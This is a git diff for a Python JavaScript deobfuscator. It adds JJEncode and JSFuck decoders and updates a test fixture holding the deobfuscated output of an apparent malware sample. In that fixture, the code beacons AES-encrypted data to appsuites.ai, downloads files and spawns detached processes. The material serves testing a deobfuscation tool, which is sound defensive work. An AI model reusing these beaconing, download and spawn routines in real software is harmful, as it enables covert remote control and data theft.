+ eq_pos = _find_top_level_eq(stmt)
+ if eq_pos is None:
+ return
+ lhs = stmt[:eq_pos].strip()
+ rhs = stmt[eq_pos + 1:].strip()
+
+ if not lhs.startswith(prefix):
+ return
+ top_key = lhs[len(prefix):]
+
+ # Evaluate the RHS: it's a + concatenation of terms
+ tokens = _split_at_depth_zero(rhs, '+')
+ resolved = []
+ for token in tokens:
+ val = _eval_expr(token, table, varname)
+ if val is not None:
+ resolved.append(val)
+ else:
+ resolved.append('?')
+
+ result = ''.join(resolved)
+ table[top_key] = result
+
+
+# ---------------------------------------------------------------------------
+# Escape decoder
+# ---------------------------------------------------------------------------
+
+
+def _decode_js_string_literal(s):
+ """Decode escapes in a JS string literal content (between quotes).
+
+ Only handles \\\\ -> \\, \\\" -> \", \\' -> ', and leaves everything
+ else (like \\1, \\x, \\u) as-is for later processing."""
+ result = []
+ i = 0
+ while i < len(s):
+ if s[i] == '\\' and i + 1 < len(s):
+ nch = s[i + 1]
+ if nch in ('"', "'", '\\'):
+ result.append(nch)
+ i += 2
+ continue
+ result.append(s[i])
+ i += 1
+ return ''.join(result)
+
+
+def _decode_escapes(s):
+ """Decode octal (\\NNN), hex (\\xNN), unicode (\\uNNNN) escape
+ sequences in a single left-to-right pass. Also handles standard
+ single-char escapes."""
+ result = []
+ i = 0
+ while i < len(s):
+ if s[i] == '\\' and i + 1 < len(s):
+ nch = s[i + 1]
+
+ # Unicode escape \uNNNN
+ if nch == 'u' and i + 5 < len(s):
+ hex_str = s[i + 2:i + 6]
+ try:
+ result.append(chr(int(hex_str, 16)))
+ i += 6
+ continue
+ except ValueError:
+ pass
+
+ # Hex escape \xNN
+ if nch == 'x' and i + 3 < len(s):
+ hex_str = s[i + 2:i + 4]
+ try:
+ result.append(chr(int(hex_str, 16)))
+ i += 4
+ continue
+ except ValueError:
+ pass
+
+ # Octal escape: JS allows \0-\377 (max value 255).
+ # First digit 0-3: up to 3 total digits (\000-\377).
+ # First digit 4-7: up to 2 total digits (\40-\77).
+ if '0' <= nch <= '7':
+ max_digits = 3 if nch <= '3' else 2
+ octal = ''
+ j = i + 1
+ while j < len(s) and j < i + 1 + max_digits and '0' <= s[j] <= '7':
+ octal += s[j]
+ j += 1
+ result.append(chr(int(octal, 8)))
+ i = j
+ continue
+
+ # Standard single-char escapes
+ _esc = {
+ 'n': '\n', 'r': '\r', 't': '\t',
+ '\\': '\\', "'": "'", '"': '"',
+ '/': '/', 'b': '\b', 'f': '\f',
+ }
+ if nch in _esc:
+ result.append(_esc[nch])
+ i += 2
+ continue
+
+ # Unknown escape — keep literal
+ result.append(nch)
+ i += 2
+ continue
+
+ result.append(s[i])
+ i += 1
+
+ return ''.join(result)
+
+
+# ---------------------------------------------------------------------------
+# Payload extractor
+# ---------------------------------------------------------------------------
+
+
+def _extract_payload_expression(stmt, varname):
+ """Extract the inner concatenation expression from the payload
+ statement ``$.$($.$(EXPR)())()``."""
+ # Find VARNAME.$(VARNAME.$(
+ inner_prefix = varname + '.$(' + varname + '.$('
+ idx = stmt.find(inner_prefix)
+ if idx == -1:
+ return None
+
+ start = idx + len(inner_prefix)
+
+ # Find matching ) for the inner $.$(
+ depth = 1
+ in_string = None
+ i = start
+ while i < len(stmt):
+ ch = stmt[i]
+ if in_string is not None:
+ if ch == '\\' and i + 1 < len(stmt):
+ i += 2
+ continue
+ if ch == in_string:
+ in_string = None
+ i += 1
+ continue
+ if ch in ('"', "'"):
+ in_string = ch
+ i += 1
+ continue
+ if ch == '(':
+ depth += 1
+ elif ch == ')':
+ depth -= 1
+ if depth == 0:
+ return stmt[start:i]
+ i += 1
+
+ return None
+
+
+# ---------------------------------------------------------------------------
+# Main decoder
+# ---------------------------------------------------------------------------
+
+
+def jj_decode(code):
+ """Decode JJEncoded JavaScript. Returns the decoded string, or
+ ``None`` on any failure."""
+ try:
+ return _jj_decode_inner(code)
+ except (ValueError, TypeError, IndexError, KeyError, OverflowError,
+ AttributeError, re.error):
+ return None
+
+
+def _jj_decode_inner(code):
+ if not code or not code.strip():
+ return None
+
+ stripped = code.strip()
+
+ m = re.match(r'^([a-zA-Z_$][a-zA-Z0-9_$]*)\s*=\s*~\s*\[\s*\]', stripped)
+ if not m:
+ return None
+ varname = m.group(1)
+
+ # Find the JJEncode line
+ jj_line = None
+ for line in stripped.splitlines():
+ line = line.strip()
+ if re.match(r'^' + re.escape(varname) + r'\s*=\s*~\s*\[\s*\]', line):
+ jj_line = line
+ break
+
+ if jj_line is None:
+ return None
+
+ # Split into semicolon-delimited statements at depth 0
+ stmts = _split_at_depth_zero(jj_line, ';')
+ stmts = [s.strip() for s in stmts if s.strip()]
+
+ if len(stmts) < 5:
+ return None
+
+ # Statement 0: VARNAME=~[]
+ # Statement 1: VARNAME={...} (symbol table)
+ # Statement 2: VARNAME.$_=... (builds "constructor")
+ # Statement 3: VARNAME.$$=... (builds "return")
+ # Statement 4: VARNAME.$=... (Function constructor)
+ # Statement 5 (last): payload invocation
+
+ # --- Parse symbol table ---
+ symbol_table = _parse_symbol_table(stmts[1], varname)
+ if symbol_table is None:
+ return None
+
+ # --- Parse statement 2 (constructor string + sub-assignments) ---
+ _parse_augment_statement(stmts[2], symbol_table, varname)
+
+ # --- Parse statement 3 (return string) ---
+ _parse_augment_statement(stmts[3], symbol_table, varname)
+
+ # --- Extract payload from the last statement ---
+ payload_stmt = stmts[-1]
+ inner = _extract_payload_expression(payload_stmt, varname)
+ if inner is None:
+ return None
+
+ # Evaluate the payload concatenation
+ tokens = _split_at_depth_zero(inner, '+')
+ resolved = []
+ for token in tokens:
+ val = _eval_expr(token, symbol_table, varname)
+ if val is None:
+ return None
+ resolved.append(val)
+
+ payload_str = ''.join(resolved)
+
+ # Result should be: return"..."
+ if not payload_str.startswith('return'):
+ return None
+ payload_str = payload_str[len('return'):]
+
+ # Strip surrounding quotes
+ payload_str = payload_str.strip()
+ if len(payload_str) >= 2 and payload_str[0] == '"' and payload_str[-1] == '"':
+ payload_str = payload_str[1:-1]
+ elif len(payload_str) >= 2 and payload_str[0] == "'" and payload_str[-1] == "'":
+ payload_str = payload_str[1:-1]
+ else:
+ return None
+
+ return _decode_escapes(payload_str)
diff --git a/pyjsclear/transforms/jsfuck_decode.py b/pyjsclear/transforms/jsfuck_decode.py
new file mode 100644
index 0000000..dac5f49
--- /dev/null
+++ b/pyjsclear/transforms/jsfuck_decode.py
@@ -0,0 +1,593 @@
+"""Pure Python JSFuck decoder.
+
+JSFuck encodes JavaScript using only []()!+ characters.
+It exploits JS type coercion to build strings and execute code via Function().
+This decoder evaluates the JSFuck expression subset and captures the
+string passed to Function().
+"""
+
+def is_jsfuck(code):
+ """Check if code is JSFuck-encoded.
+
+ JSFuck code consists only of []()!+ characters (with optional whitespace/semicolons).
+ We also require minimum length to avoid false positives.
+ """
+ stripped = code.strip()
+ if len(stripped) < 100:
+ return False
+ # Only count the six JSFuck operator characters — whitespace and
+ # semicolons are not distinctive and inflate the ratio on minified JS.
+ jsfuck_chars = set('[]()!+')
+ jsfuck_count = sum(1 for c in stripped if c in jsfuck_chars)
+ return jsfuck_count / len(stripped) > 0.95
+
+
+# ---------------------------------------------------------------------------
+# JSValue: models a JavaScript value with JS-like coercion semantics
+# ---------------------------------------------------------------------------
+
+
+class _JSValue:
+ """A JavaScript value with type coercion semantics."""
+
+ __slots__ = ('val', 'type')
+
+ def __init__(self, val, typ):
+ self.val = val
+ self.type = typ # 'array', 'bool', 'number', 'string', 'undefined', 'object', 'function'
+
+ # -- coercion helpers ---------------------------------------------------
+
+ def to_number(self):
+ match self.type:
+ case 'number':
+ return self.val
+ case 'bool':
+ return 1 if self.val else 0
+ case 'string':
+ s = self.val.strip()
+ if s == '':
+ return 0
+ try:
+ return int(s)
+ except ValueError:
+ try:
+ return float(s)
+ except ValueError:
+ return float('nan')
+ case 'array':
+ if len(self.val) == 0:
+ return 0
+ if len(self.val) == 1:
+ return _JSValue(self.val[0], _guess_type(self.val[0])).to_number()
+ return float('nan')
+ case 'undefined':
+ return float('nan')
+ case _:
+ return float('nan')
+
+ def to_string(self):
+ match self.type:
+ case 'string':
+ return self.val
+ case 'number':
+ if isinstance(self.val, float):
+ if self.val != self.val: # NaN
+ return 'NaN'
+ if self.val == float('inf'):
+ return 'Infinity'
+ if self.val == float('-inf'):
+ return '-Infinity'
+ if self.val == int(self.val):
+ return str(int(self.val))
+ return str(self.val)
+ return str(self.val)
+ case 'bool':
+ return 'true' if self.val else 'false'
+ case 'array':
+ parts = []
+ for item in self.val:
+ if item is None:
+ parts.append('')
+ elif isinstance(item, _JSValue):
+ parts.append(item.to_string())
+ else:
+ parts.append(_JSValue(item, _guess_type(item)).to_string())
+ return ','.join(parts)
+ case 'undefined':
+ return 'undefined'
+ case 'object':
+ return '[object Object]'
+ case _:
+ return str(self.val)
+
+ def to_bool(self):
+ match self.type:
+ case 'bool':
+ return self.val
+ case 'number':
+ return self.val != 0 and self.val == self.val # 0 and NaN are falsy
+ case 'string':
+ return len(self.val) > 0
+ case 'array':
+ return True # arrays are always truthy in JS
+ case 'undefined':
+ return False
+ case 'object':
+ return True
+ case _:
+ return bool(self.val)
+
+ def get_property(self, key):
+ """Property access: self[key]."""
+ key_str = key.to_string() if isinstance(key, _JSValue) else str(key)
+
+ if self.type == 'string':
+ # String indexing
+ try:
+ idx = int(key_str)
+ if 0 <= idx < len(self.val):
+ return _JSValue(self.val[idx], 'string')
+ except (ValueError, IndexError):
+ pass
+ # String properties
+ if key_str == 'length':
+ return _JSValue(len(self.val), 'number')
+ if key_str == 'constructor':
+ return _STRING_CONSTRUCTOR
+ # String.prototype methods
+ return _get_string_method(self, key_str)
+
+ if self.type == 'array':
+ try:
+ idx = int(key_str)
+ if 0 <= idx < len(self.val):
+ item = self.val[idx]
+ if isinstance(item, _JSValue):
+ return item
+ return _JSValue(item, _guess_type(item))
+ except (ValueError, IndexError):
+ pass
+ if key_str == 'length':
+ return _JSValue(len(self.val), 'number')
+ if key_str == 'constructor':
+ return _ARRAY_CONSTRUCTOR
+ # Array methods that JSFuck commonly accesses
+ if key_str in (
+ 'flat',
+ 'fill',
+ 'find',
+ 'filter',
+ 'entries',
+ 'concat',
+ 'join',
+ 'sort',
+ 'reverse',
+ 'slice',
+ 'map',
+ 'forEach',
+ 'reduce',
+ 'some',
+ 'every',
+ 'indexOf',
+ 'includes',
+ 'keys',
+ 'values',
+ 'at',
+ 'pop',
+ 'push',
+ 'shift',
+ 'unshift',
+ 'splice',
+ 'toString',
+ 'valueOf',
+ ):
+ return _JSValue(key_str, 'function')
+
+ if self.type == 'number':
+ if key_str == 'constructor':
+ return _NUMBER_CONSTRUCTOR
+ if key_str == 'toString':
+ return _JSValue('toString', 'function')
+ return _JSValue(None, 'undefined')
+
+ if self.type == 'bool':
+ if key_str == 'constructor':
+ return _BOOLEAN_CONSTRUCTOR
+ return _JSValue(None, 'undefined')
+
+ if self.type == 'function':
+ if key_str == 'constructor':
+ return _FUNCTION_CONSTRUCTOR
+ return _JSValue(None, 'undefined')
+
+ if self.type == 'object':
+ if key_str == 'constructor':
+ return _OBJECT_CONSTRUCTOR
+ return _JSValue(None, 'undefined')
+
+ return _JSValue(None, 'undefined')
+
+ def __repr__(self):
+ return f'_JSValue({self.val!r}, {self.type!r})'
+
+
+def _guess_type(val):
+ if isinstance(val, bool):
+ return 'bool'
+ if isinstance(val, (int, float)):
+ return 'number'
+ if isinstance(val, str):
+ return 'string'
+ if isinstance(val, list):
+ return 'array'
+ if val is None:
+ return 'undefined'
+ return 'object'
+
+
+def _get_string_method(string_val, method_name):
+ """Return a callable _JSValue wrapping a string method."""
+ if method_name in (
+ 'italics',
+ 'bold',
+ 'fontcolor',
+ 'fontsize',
+ 'big',
+ 'small',
+ 'strike',
+ 'sub',
+ 'sup',
+ 'link',
+ 'anchor',
+ 'charAt',
+ 'charCodeAt',
+ 'concat',
+ 'slice',
+ 'substring',
+ 'toLowerCase',
+ 'toUpperCase',
+ 'trim',
+ 'split',
+ 'replace',
+ 'indexOf',
+ 'includes',
+ 'repeat',
+ 'padStart',
+ 'padEnd',
+ 'toString',
+ 'valueOf',
+ 'at',
+ 'startsWith',
+ 'endsWith',
+ 'match',
+ 'search',
+ 'normalize',
+ 'flat',
+ ):
+ return _JSValue(method_name, 'function')
+ return _JSValue(None, 'undefined')
+
+
+# Sentinel constructors for property chain resolution
+_STRING_CONSTRUCTOR = _JSValue('String', 'function')
+_NUMBER_CONSTRUCTOR = _JSValue('Number', 'function')
+_BOOLEAN_CONSTRUCTOR = _JSValue('Boolean', 'function')
+_ARRAY_CONSTRUCTOR = _JSValue('Array', 'function')
+_OBJECT_CONSTRUCTOR = _JSValue('Object', 'function')
+_FUNCTION_CONSTRUCTOR = _JSValue('Function', 'function')
+
+# Known constructor-of-constructor chain results
+_CONSTRUCTOR_MAP = {
+ 'String': _STRING_CONSTRUCTOR,
+ 'Number': _NUMBER_CONSTRUCTOR,
+ 'Boolean': _BOOLEAN_CONSTRUCTOR,
+ 'Array': _ARRAY_CONSTRUCTOR,
+ 'Object': _OBJECT_CONSTRUCTOR,
+ 'Function': _FUNCTION_CONSTRUCTOR,
+}
+
+
+# ---------------------------------------------------------------------------
+# Tokenizer
+# ---------------------------------------------------------------------------
+
+
+def _tokenize(code):
+ """Tokenize JSFuck code into a list of characters/tokens."""
+ tokens = []
+ for ch in code:
+ if ch in '[]()!+':
+ tokens.append(ch)
+ # Skip whitespace, semicolons
+ return tokens
+
+
+# ---------------------------------------------------------------------------
+# Iterative parser/evaluator (state-machine with explicit continuation stack)
+# ---------------------------------------------------------------------------
+
+# Parse states
+_S_EXPR = 0
+_S_UNARY = 1
+_S_POSTFIX = 2
+_S_PRIMARY = 3
+_S_RESUME = 4
+
+# Continuation types
+_K_DONE = 0
+_K_EXPR_LOOP = 1
+_K_EXPR_ADD = 2
+_K_UNARY_APPLY = 3
+_K_POSTFIX_LOOP = 4
+_K_POSTFIX_BRACKET = 5
+_K_POSTFIX_ARGDONE = 6
+_K_PAREN_CLOSE = 7
+_K_ARRAY_ELEM = 8
+
+
+class _Parser:
+ """Iterative state-machine parser for JSFuck expressions.
+
+ Replaces mutual recursion (_expression → _unary → _postfix → _primary →
+ _expression) with an explicit value stack and continuation stack, so
+ arbitrarily deep nesting never overflows the Python call stack.
+ """
+
+ def __init__(self, tokens):
+ self.tokens = tokens
+ self.pos = 0
+ self.captured = None # Result from Function(body)()
+
+ def peek(self):
+ if self.pos < len(self.tokens):
+ return self.tokens[self.pos]
+ return None
+
+ def consume(self, expected=None):
+ if self.pos >= len(self.tokens):
+ raise _ParseError('Unexpected end of input')
+ tok = self.tokens[self.pos]
+ if expected is not None and tok != expected:
+ raise _ParseError(f'Expected {expected!r}, got {tok!r}')
+ self.pos += 1
+ return tok
+
+ # ------------------------------------------------------------------
+
+ def parse(self):
+ """Parse and evaluate the full expression (iterative)."""
+ val_stack = []
+ cont = [(_K_DONE,)]
+ state = _S_EXPR
+
+ while True:
+ if state == _S_EXPR:
+ # expression = unary ('+' unary)*
+ cont.append((_K_EXPR_LOOP,))
+ state = _S_UNARY
+
+ elif state == _S_UNARY:
+ # Collect prefix operators, then parse postfix
+ ops = []
+ while self.peek() in ('!', '+'):
+ ops.append(self.consume())
+ cont.append((_K_UNARY_APPLY, ops))
+ state = _S_POSTFIX
+
+ elif state == _S_POSTFIX:
+ # Parse primary, then handle postfix [ ] and ( )
+ cont.append((_K_POSTFIX_LOOP, None)) # receiver=None
+ state = _S_PRIMARY
+
+ elif state == _S_PRIMARY:
+ tok = self.peek()
+ if tok == '(':
+ self.consume('(')
+ cont.append((_K_PAREN_CLOSE,))
+ state = _S_EXPR
+ elif tok == '[':
+ self.consume('[')
+ if self.peek() == ']':
+ self.consume(']')
+ val_stack.append(_JSValue([], 'array'))
+ state = _S_RESUME
+ else:
+ cont.append((_K_ARRAY_ELEM, []))
+ state = _S_EXPR
+ else:
+ raise _ParseError(
+ f'Unexpected token: {tok!r} at pos {self.pos}')
+
+ elif state == _S_RESUME:
+ k = cont.pop()
+ ktype = k[0]
+
+ if ktype == _K_DONE:
+ return val_stack.pop()
+
+ elif ktype == _K_PAREN_CLOSE:
+ self.consume(')')
+ state = _S_RESUME
+
+ elif ktype == _K_ARRAY_ELEM:
+ elements = k[1]
+ elements.append(val_stack.pop())
+ if self.peek() not in (']', None):
+ cont.append((_K_ARRAY_ELEM, elements))
+ state = _S_EXPR
+ else:
+ self.consume(']')
+ val_stack.append(_JSValue(elements, 'array'))
+ state = _S_RESUME
+
+ elif ktype == _K_POSTFIX_LOOP:
+ receiver = k[1]
+ val = val_stack[-1]
+ if self.peek() == '[':
+ self.consume('[')
+ val_stack.pop()
+ cont.append((_K_POSTFIX_BRACKET, val))
+ state = _S_EXPR
+ elif self.peek() == '(':
+ self.consume('(')
+ if self.peek() == ')':
+ self.consume(')')
+ val_stack.pop()
+ result = self._call(val, [], receiver)
+ val_stack.append(result)
+ cont.append((_K_POSTFIX_LOOP, None))
+ state = _S_RESUME
+ else:
+ val_stack.pop()
+ cont.append((_K_POSTFIX_ARGDONE, val, receiver))
+ state = _S_EXPR
+ else:
+ # No more postfix ops
+ state = _S_RESUME
+
+ elif ktype == _K_POSTFIX_BRACKET:
+ parent_val = k[1]
+ key = val_stack.pop()
+ self.consume(']')
+ val_stack.append(parent_val.get_property(key))
+ cont.append((_K_POSTFIX_LOOP, parent_val))
+ state = _S_RESUME
+
+ elif ktype == _K_POSTFIX_ARGDONE:
+ func = k[1]
+ receiver = k[2]
+ arg = val_stack.pop()
+ self.consume(')')
+ result = self._call(func, [arg], receiver)
+ val_stack.append(result)
+ cont.append((_K_POSTFIX_LOOP, None))
+ state = _S_RESUME
+
+ elif ktype == _K_UNARY_APPLY:
+ ops = k[1]
+ val = val_stack.pop()
+ for op in reversed(ops):
+ if op == '!':
+ val = _JSValue(not val.to_bool(), 'bool')
+ elif op == '+':
+ val = _JSValue(val.to_number(), 'number')
+ val_stack.append(val)
+ state = _S_RESUME
+
+ elif ktype == _K_EXPR_LOOP:
+ if self.peek() == '+':
+ self.consume('+')
+ left = val_stack.pop()
+ cont.append((_K_EXPR_ADD, left))
+ state = _S_UNARY
+ else:
+ state = _S_RESUME
+
+ elif ktype == _K_EXPR_ADD:
+ left = k[1]
+ right = val_stack.pop()
+ val_stack.append(_js_add(left, right))
+ cont.append((_K_EXPR_LOOP,))
+ state = _S_RESUME
+
+ # ------------------------------------------------------------------
+
+ def _call(self, func, args, receiver=None):
+ """Handle function call semantics.
+
+ Only single-argument calls are supported (e.g. Function(body),
+ toString(radix)). This is sufficient for JSFuck which never
+ emits multi-argument calls.
+ """
+ # Function constructor: Function(body) returns a new function
+ if func.type == 'function' and func.val == 'Function':
+ if args:
+ body = args[-1].to_string()
+ return _JSValue(('__function_body__', body), 'function')
+
+ # Calling a function created by Function(body)
+ if func.type == 'function' and isinstance(func.val, tuple):
+ if func.val[0] == '__function_body__':
+ self.captured = func.val[1]
+ return _JSValue(None, 'undefined')
+
+ # Constructor property access — e.g., []["flat"]["constructor"]
+ if func.type == 'function' and isinstance(func.val, str):
+ name = func.val
+ if name in _CONSTRUCTOR_MAP:
+ if args:
+ return _JSValue(args[0].to_string(), 'string')
+ return _JSValue('', 'string')
+
+ if name == 'italics':
+ return _JSValue('', 'string')
+ if name == 'fontcolor':
+ return _JSValue('', 'string')
+
+ # toString with radix — e.g., (10)["toString"](36) → "a"
+ if name == 'toString' and args and receiver is not None:
+ radix = args[0].to_number()
+ if isinstance(radix, (int, float)) and radix == int(radix):
+ radix = int(radix)
+ if 2 <= radix <= 36 and receiver.type == 'number':
+ num = receiver.to_number()
+ if isinstance(num, (int, float)) and num == int(num):
+ return _JSValue(_int_to_base(int(num), radix), 'string')
+
+ return _JSValue(None, 'undefined')
+
+
+def _js_add(left, right):
+ """JS + operator with type coercion."""
+ if left.type == 'string' or right.type == 'string':
+ return _JSValue(left.to_string() + right.to_string(), 'string')
+ if left.type in ('array', 'object') or right.type in ('array', 'object'):
+ return _JSValue(left.to_string() + right.to_string(), 'string')
+ return _JSValue(left.to_number() + right.to_number(), 'number')
+
+
+def _int_to_base(num, base):
+ """Convert integer to string in given base (2-36), matching JS behavior."""
+ if num == 0:
+ return '0'
+ digits = '0123456789abcdefghijklmnopqrstuvwxyz'
+ negative = num < 0
+ num = abs(num)
+ result = []
+ while num:
+ result.append(digits[num % base])
+ num //= base
+ if negative:
+ result.append('-')
+ return ''.join(reversed(result))
+
+
+class _ParseError(Exception):
+ pass
+
+
+# ---------------------------------------------------------------------------
+# High-level decoder
+# ---------------------------------------------------------------------------
+
+
+def jsfuck_decode(code):
+ """Decode JSFuck-encoded JavaScript. Returns decoded string or None."""
+ if not code or not code.strip():
+ return None
+
+ try:
+ tokens = _tokenize(code)
+ if not tokens:
+ return None
+
+ parser = _Parser(tokens)
+ parser.parse()
+
+ if parser.captured:
+ return parser.captured
+ return None
+ except (_ParseError, MemoryError, IndexError, ValueError, TypeError,
+ KeyError, OverflowError):
+ return None
diff --git a/tests/resources/sample.deobfuscated.js b/tests/resources/sample.deobfuscated.js
index 419d7b7..16b9327 100644
--- a/tests/resources/sample.deobfuscated.js
+++ b/tests/resources/sample.deobfuscated.js
@@ -468,7 +468,7 @@
z.o699XQ0 = JSON.parse(str2);
}
} catch (at) {
- await s.w3F3UWA.Y6CDW21(0, s.z579NEI.v4D2E5C, at, [str2]);
+ await s.w3F3UWA.Y6CDW21(0, [138, ''], at, [str2]);
return;
}
if (!z.o699XQ0 || !Object.prototype.hasOwnProperty.call(z.o699XQ0, ar)) {
@@ -496,7 +496,7 @@
z.o699XQ0 = ay;
}
} catch (az) {
- await s.w3F3UWA.Y6CDW21(0, s.z579NEI.v4D2E5C, az, [str3]);
+ await s.w3F3UWA.Y6CDW21(0, [138, ''], az, [str3]);
return;
}
const aw = z.l536G7W.indexOf(au);
@@ -509,7 +509,7 @@
try {
return await z.l610ZCY("iid");
} catch (ba) {
- await s.w3F3UWA.Y6CDW21(0, s.z579NEI.H604VAI, ba);
+ await s.w3F3UWA.Y6CDW21(0, [139, ''], ba);
return '';
}
}
@@ -546,7 +546,7 @@
}
}
} catch (bj) {
- await s.w3F3UWA.Y6CDW21(0, s.z579NEI.A3F8RJ7, bj, [str4]);
+ await s.w3F3UWA.Y6CDW21(0, [147, ''], bj, [str4]);
return;
}
}
@@ -976,19 +976,19 @@
await this.Q44BIX9(-1, dv, dw, dx, dy);
}
static async Q44BIX9(dz, ea, eb, ec, ed) {
- function ee(ei) {
- if (!ei) {
+ function ee(ej) {
+ if (!ej) {
return '';
}
let str6 = '';
- for (const ej of ei) {
+ for (const ek of ej) {
if (str6.length > 0) {
str6 += '|';
}
- if (typeof ej === 'boolean') {
- str6 += ej ? '1' : '0';
+ if (typeof ek === 'boolean') {
+ str6 += ek ? '1' : '0';
} else {
- str6 += ej.toString().replace('|', '_');
+ str6 += ek.toString().replace('|', '_');
}
}
return str6;
@@ -997,9 +997,9 @@
if (ef == '') {
ef = "initialization";
}
- const params = new require("url").URLSearchParams();
- const eg = ch.S559FZQ.n677BRA.substring(0, 24) + ef.substring(0, 8);
- const eh = cy(eg, JSON.stringify({
+ const eg = new require("url").URLSearchParams();
+ const eh = ch.S559FZQ.n677BRA.substring(0, 24) + ef.substring(0, 8);
+ const ei = cy(eh, JSON.stringify({
b: ea,
c: ee(ed),
e: ec ? ec.toString() : '',
@@ -1010,108 +1010,108 @@
s: ci.e5325L3.x484Q1X,
v: ci.e5325L3.Y55B2P2
}));
- params.append("data", eh.data);
- params.append("iv", eh.iv);
- params.append("iid", ef);
- await ct("api/s3/event", params);
+ eg.append("data", ei.data);
+ eg.append("iv", ei.iv);
+ eg.append("iid", ef);
+ await ct("api/s3/event", eg);
}
static g597ORN() {}
};
cg.w3F3UWA = cn;
- function co(ek, el = [], em) {
- return require("child_process").spawn(ek, el, {
+ function co(el, em = [], en) {
+ return require("child_process").spawn(el, em, {
detached: true,
stdio: "ignore",
- cwd: em
+ cwd: en
});
}
cg.r5EEMKP = co;
- async function cp(en) {
- return await require("node-fetch")(en);
+ async function cp(eo) {
+ return await require("node-fetch")(eo);
}
cg.y42BRXF = cp;
- async function cq(eo, ep) {
- return await require("node-fetch")(eo, {
+ async function cq(ep, eq) {
+ return await require("node-fetch")(ep, {
method: "POST",
- body: JSON.stringify(ep)
+ body: JSON.stringify(eq)
});
}
cg.J60DFMS = cq;
- async function cr(eq) {
+ async function cr(er) {
const fetch = require("node-fetch");
- let er;
- let es = "https://appsuites.ai/" + eq;
+ let es;
+ let et = "https://appsuites.ai/" + er;
try {
- er = await fetch(es);
+ es = await fetch(et);
} catch {}
- if (!er || !er.ok) {
+ if (!es || !es.ok) {
try {
- es = "https://sdk.appsuites.ai/" + eq;
- er = await fetch(es);
+ et = "https://sdk.appsuites.ai/" + er;
+ es = await fetch(et);
} catch {}
}
- return er;
+ return es;
}
cg.e696T3N = cr;
- async function cs(et, eu) {
+ async function cs(eu, ev) {
const fetch2 = require("node-fetch");
- let ev;
- let ew = "https://appsuites.ai/" + et;
- if (eu.has('')) {
- eu.append('', '');
+ let ew;
+ let ex = "https://appsuites.ai/" + eu;
+ if (ev.has('')) {
+ ev.append('', '');
}
const obj2 = {
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
method: "POST",
- body: eu
+ body: ev
};
try {
- ev = await fetch2(ew, obj2);
+ ew = await fetch2(ex, obj2);
} catch {}
- if (!ev || !ev.ok) {
+ if (!ew || !ew.ok) {
try {
- ew = "https://sdk.appsuites.ai/" + et;
- ev = await fetch2(ew, obj2);
+ ex = "https://sdk.appsuites.ai/" + eu;
+ ew = await fetch2(ex, obj2);
} catch {}
}
- return ev;
+ return ew;
}
cg.h5235DD = cs;
- async function ct(ex, ey) {
- if (ey.has('')) {
- ey.append('', '');
+ async function ct(ey, ez) {
+ if (ez.has('')) {
+ ez.append('', '');
}
- return await require("node-fetch")("https://appsuites.ai/" + ex, {
+ return await require("node-fetch")("https://appsuites.ai/" + ey, {
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
method: "POST",
- body: ey
+ body: ez
});
}
cg.e63F2C3 = ct;
- function cu(ez, fa) {
- return new Promise((fb, fc) => {
- const fd = require("fs").createWriteStream(fa, {});
- const fe = (ez.startsWith("https") ? require("https") : require("http")).get(ez, (res) => {
+ function cu(fa, fb) {
+ return new Promise((fc, fd) => {
+ const fe = require("fs").createWriteStream(fb, {});
+ const ff = (fa.startsWith("https") ? require("https") : require("http")).get(fa, (res) => {
if (!res.statusCode || res.statusCode < 200 || res.statusCode > 299) {
- fc(new Error("LoadPageFailed " + res.statusCode));
+ fd(new Error("LoadPageFailed " + res.statusCode));
}
- res.pipe(fd);
- fd.on("finish", function () {
- fd.destroy();
- fb();
+ res.pipe(fe);
+ fe.on("finish", function () {
+ fe.destroy();
+ fc();
});
});
- fe.on("error", (ff) => fc(ff));
+ ff.on("error", (fg) => fd(fg));
});
}
cg.p464G3A = cu;
- function cv(fg) {
+ function cv(fh) {
try {
- require("fs").unlinkSync(fg);
+ require("fs").unlinkSync(fh);
} catch {}
}
cg.T667X3K = cv;
@@ -1119,483 +1119,483 @@
const fs6 = require("fs");
const path2 = require("path");
const proc = require("process");
- const fh = ch.S559FZQ.L695HPV;
- if (fs6.existsSync(fh)) {
- const fi = new Date().getTime() - fs6.statSync(fh).mtime.getTime();
- if (fi < 900000) {
+ const fi = ch.S559FZQ.L695HPV;
+ if (fs6.existsSync(fi)) {
+ const fj = new Date().getTime() - fs6.statSync(fi).mtime.getTime();
+ if (fj < 900000) {
proc.exit(0);
} else {
- fs6.unlinkSync(fh);
+ fs6.unlinkSync(fi);
}
}
- fs6.writeFileSync(fh, '');
+ fs6.writeFileSync(fi, '');
proc.on("exit", () => {
- fs6.unlinkSync(fh);
+ fs6.unlinkSync(fi);
});
}
cg.F490EUX = cw;
- function cx(fj) {
+ function cx(fk) {
try {
- return require("fs").statSync(fj).size;
+ return require("fs").statSync(fk).size;
} catch {
return 0;
}
}
cg.m4F8RIX = cx;
- function cy(fk, fl) {
+ function cy(fl, fm) {
try {
const crypto = require("crypto");
- const fm = crypto.randomBytes(16);
- const fn = crypto.createCipheriv("aes-256-cbc", fk, fm);
- let fo = fn.update(fl, "utf8", "hex");
- fo += fn.final("hex");
+ const fn = crypto.randomBytes(16);
+ const fo = crypto.createCipheriv("aes-256-cbc", fl, fn);
+ let fp = fo.update(fm, "utf8", "hex");
+ fp += fo.final("hex");
return {
- data: fo,
- iv: fm.toString("hex")
+ data: fp,
+ iv: fn.toString("hex")
};
} catch {
return;
}
}
cg.O694X7J = cy;
- function cz(fp, fq, fr) {
+ function cz(fq, fr, ft) {
try {
- const ft = require("crypto").createDecipheriv("aes-256-cbc", Buffer.from(fp), Buffer.from(fr, "hex"));
- let fu = ft.update(Buffer.from(fq, "hex"));
- fu = Buffer.concat([fu, ft.final()]);
- return fu.toString();
+ const fu = require("crypto").createDecipheriv("aes-256-cbc", Buffer.from(fq), Buffer.from(ft, "hex"));
+ let fv = fu.update(Buffer.from(fr, "hex"));
+ fv = Buffer.concat([fv, fu.final()]);
+ return fv.toString();
} catch {
return;
}
}
cg.U61FWBZ = cz;
- function da(fv) {
- return Buffer.from(fv, "hex").toString("utf8");
+ function da(fw) {
+ return Buffer.from(fw, "hex").toString("utf8");
}
cg.S634YX3 = da;
- function db(fw, ...fx) {
+ function db(fx, ...fy) {
try {
- var fy = fw.replace(/{(\d+)}/g, function (fz, ga) {
- const gb = parseInt(ga);
- if (isNaN(gb)) {
- return fz;
+ var fz = fx.replace(/{(\d+)}/g, function (ga, gb) {
+ const gc = parseInt(gb);
